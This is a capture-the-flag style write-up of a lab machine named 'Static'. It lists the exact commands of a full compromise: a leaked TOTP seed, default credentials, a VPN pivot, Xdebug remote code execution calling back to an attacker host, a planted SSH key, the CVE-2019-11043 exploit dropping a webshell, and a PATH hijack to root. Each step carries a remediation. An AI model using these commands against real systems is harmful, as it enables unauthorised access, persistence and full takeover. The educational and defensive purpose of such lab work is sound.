Static
Summary
Target static ($TARGET) was fully compromised through a chain of four misconfigurations across three network segments. An open web directory exposed a database backup that leaked the admin account's two-factor authentication seed; combined with unchanged default credentials, this gave authenticated access to a VPN portal and a tunnel into the internal Docker network. An internal container was running PHP with a debug extension left active in production: exploited without credentials to obtain a www-data shell and the user flag.
A further SSH tunnel reached an air-gapped PKI host running an unpatched PHP-FPM version vulnerable to CVE-2019-11043, granting a second foothold. A custom binary on that host, gifted an effective-root Linux capability, invoked openssl by short name rather than absolute path, letting me substitute a malicious script that made /bin/bash setuid-root: full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export INTERNAL_HOST3="<another-host-reached-after-pivoting>"
export INTERNAL_HOST4="<another-host-reached-after-pivoting>"
export INTERNAL_HOST5="<another-host-reached-after-pivoting>"
export USERNAME="<an-account-name-you-choose>"
export KEY2="<the-key-you-recovered>"Attack path: how the box was taken
Exact commands 3
Confirm open ports and service banners.
$ nmap -Pn -sV -p 22,2222,8080 $TARGETEnumerate paths the site operator tried to hide from search engines.
$ curl -s http://$TARGET:8080/robots.txtBrowse the open directory listing to identify downloadable files.
$ curl -s http://$TARGET:8080/.ftp_uploads/FixRemove backup files from the web root and disable directory listingCritical
Exact commands 3
Download the corrupt archive.
$ curl -sS http://$TARGET:8080/.ftp_uploads/db.sql.gz -o db.sql.gzStrip CRLF corruption from the binary gzip stream, then decompress to the raw SQL.
$ perl -0777 -pe 's/\x0d\x0a/\x0a/g' db.sql.gz > db.crlf-fixed.gz && gzip -cd db.crlf-fixed.gz > db.sqlLocate the admin TOTP seed in the recovered dump.
$ grep -i 'secret\|totp\|seed\|2fa' db.sqlExact commands 4
Submit default credentials; session cookie stored in cj.
$ curl -c cj -b cj -d 'username=admin&password=admin&submit=Login' http://$TARGET:8080/vpn/login.phpGenerate a live TOTP code from the stolen seed and submit it.
$ CODE=$(python3 -c "import pyotp; print(pyotp.TOTP('$KEY2').now())"); curl -c cj -b cj -d "code=$CODE" http://$TARGET:8080/vpn/2fa.phpRequest a signed OpenVPN config from the authenticated panel.
$ curl -b cj -d "cn=$USERNAME" http://$TARGET:8080/vpn/panel.php -o client.ovpnConnect to the VPN; note the assigned tun IP for use in later steps.
$ sudo openvpn --config client.ovpnFixReplace default administrative credentials and enforce a strong password policyCritical
Exact commands 2
Add a host route to the internal Docker network; replace tun9 with your actual tunnel interface.
$ sudo ip route replace $INTERNAL_HOST2/24 via $INTERNAL_HOST3 dev tun9Confirm Xdebug version and remote debug settings on the internal PHP host.
$ curl -s http://$INTERNAL_HOST/info.php | grep -i 'xdebug\|remote'Exact commands 4
Launch the Xdebug DBGp interactive shell; replace $ATTACKER_IP with your tun IP. If defusedxml is unavailable, patch the script: replace 'from defusedxml.ElementTree import fromstring' with 'from xml.etree.ElementTree import fromstring'.
$ python2 xdebug-shell.py --local-host=$ATTACKER_IP --url=http://$INTERNAL_HOST/info.phpRead the user flag -> <user.txt>
$ printf 'cat /home/user.txt' | python2 xdebug-shell.py --local-host=$ATTACKER_IP --url=http://$INTERNAL_HOST/info.phpAppend your SSH public key for a stable persistent shell; replace <YOUR_ED25519_PUBKEY>.
$ printf 'file_put_contents("/home/www-data/.ssh/authorized_keys",file_get_contents("/home/www-data/.ssh/authorized_keys")."\n"."<YOUR_ED25519_PUBKEY>");' | python2 xdebug-shell.py --local-host=$ATTACKER_IP --url=http://$INTERNAL_HOST/info.phpConnect to the web container over the planted SSH key.
$ ssh -i ~/.ssh/static_www -p 2222 www-data@$TARGETFixDisable Xdebug on all production and network-accessible PHP hostsCritical
Exact commands 2
Create a background SSH tunnel; PKI port 80 becomes reachable at localhost:18080.
$ ssh -i ~/.ssh/static_www -p 2222 -L 18080:$INTERNAL_HOST4:80 -N www-data@$TARGET &Confirm the PKI host is reachable and note the PHP-FPM version.
$ curl -I http://127.0.0.1:18080/Exact commands 4
Build the exploit (requires Go).
$ git clone https://github.com/neex/phuip-fpizdam && cd phuip-fpizdam && go build -o phuip-fpizdam .Exploit CVE-2019-11043 to inject a webshell on the PKI host.
$ ./phuip-fpizdam http://127.0.0.1:18080/index.phpVerify RCE as www-data on pki via the injected webshell.
$ curl "http://127.0.0.1:18080/index.php?a=/bin/sh+-c+'id'&"Enumerate Linux capabilities on binaries to identify privilege escalation paths.
$ curl "http://127.0.0.1:18080/index.php?a=/bin/sh+-c+'getcap+-r+/usr/bin'&"FixPatch PHP-FPM to a version that is not affected by CVE-2019-11043Critical
Exact commands 6
Confirm cap_setuid+eip on ersatool via the PKI webshell.
$ curl "http://127.0.0.1:18080/index.php?a=/bin/sh+-c+'getcap+/usr/bin/ersatool'&"Review source to confirm openssl is called without an absolute path.
$ curl "http://127.0.0.1:18080/index.php?a=/bin/sh+-c+'cat+/usr/src/ersatool.c'&"Create a malicious openssl in /tmp; when executed by ersatool it will set the setuid bit on /bin/bash.
$ printf '#!/bin/sh\nchmod 4755 /bin/bash' > /tmp/openssl && chmod +x /tmp/opensslRun ersatool with the hijacked PATH so it picks up /tmp/openssl first.
$ export PATH=/tmp:$PATH && /usr/bin/ersatoolLaunch the now-setuid bash in privileged mode to get a root shell.
$ /bin/bash -pRead the root flag -> <root.txt>
$ cat /root/root.txtFixRemove the cap_setuid capability from ersatool and use absolute paths for all subprocess callsCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 2222/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 8080/tcp | http Apache httpd 2.4.38 ((Debian)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.